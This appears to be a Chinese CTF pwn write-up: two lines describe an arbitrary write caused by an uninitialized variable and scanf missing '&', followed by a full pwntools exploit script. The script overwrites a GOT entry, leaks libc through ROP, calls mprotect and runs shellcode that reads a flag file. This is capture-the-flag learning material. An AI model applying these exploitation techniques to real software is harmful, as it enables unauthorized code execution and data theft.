利用方式:一个未初始化的变量和scanf缺少取地址符号导致的任意地址写

注意:循环中栈的地址是复用的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
context(log_level='debug',arch='amd64')
p=process('./pwn')
libc=ELF('/home/miko/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')

stack_chk_fail=0x602038
pop_rdi_ret=0x400ea3
put_plt=0x400940
libc_start_main_got=0x602050
main=0x400D4B
offset=libc.symbols['__libc_start_main']
ret=0x400901

#gdb.attach(p,'b *0x400C7F\nb *0x400D00')
#pause()
p.sendlineafter(b'your code:\n',b'1')
p.sendline(b'2')
p.sendline(b'1')
p.sendline(b'1')

payload=b'a'*12+p32(stack_chk_fail)
#payload=payload.ljust(0x80,b'a')
p.sendafter(b'name:\n',payload)

p.sendlineafter(b'id:\n',str(0x400ea3).encode('utf-8'))
p.sendafter(b'info:\n',b'b')

payload1=p64(pop_rdi_ret)+p64(libc_start_main_got)+p64(put_plt)+p64(ret)+p64(main)
payload1=payload1.ljust(0x90,b'a')
p.sendafter(b'name:\n',payload1)
p.recvuntil(b'\n')
true=u64(p.recv(6).ljust(8,b'\x00'))
libcbase=true-offset
print(hex(libcbase))

p.sendlineafter(b'your code:\n',b'1')
p.sendline(b'1')
p.sendline(b'1')
p.sendline(b'1')

pop_rsi_r15_ret=0x400ea1
pop_rdx_r10_ret=0x1151a4+libcbase
mprotect=libc.symbols['mprotect']+libcbase
gets=libc.symbols['gets']+libcbase
addr=0x602000
saveto=0x602300

payload2=p64(pop_rdi_ret)+p64(saveto)+p64(gets)
payload2+=p64(pop_rdi_ret)+p64(addr)+p64(pop_rsi_r15_ret)+p64(0x1000)+p64(0)
payload2+=p64(pop_rdx_r10_ret)+p64(0x7)+p64(0)+p64(mprotect)+p64(saveto)
payload2=payload2.ljust(0x90,b'a')
p.sendafter(b'name:\n',payload2)

payload3=shellcraft.open('flag')
payload3+=shellcraft.read(0x3,saveto,0x40)
payload3+=shellcraft.write(0x1,saveto,0x40)
p.sendline(asm(payload3))
p.recv()
p.interactive()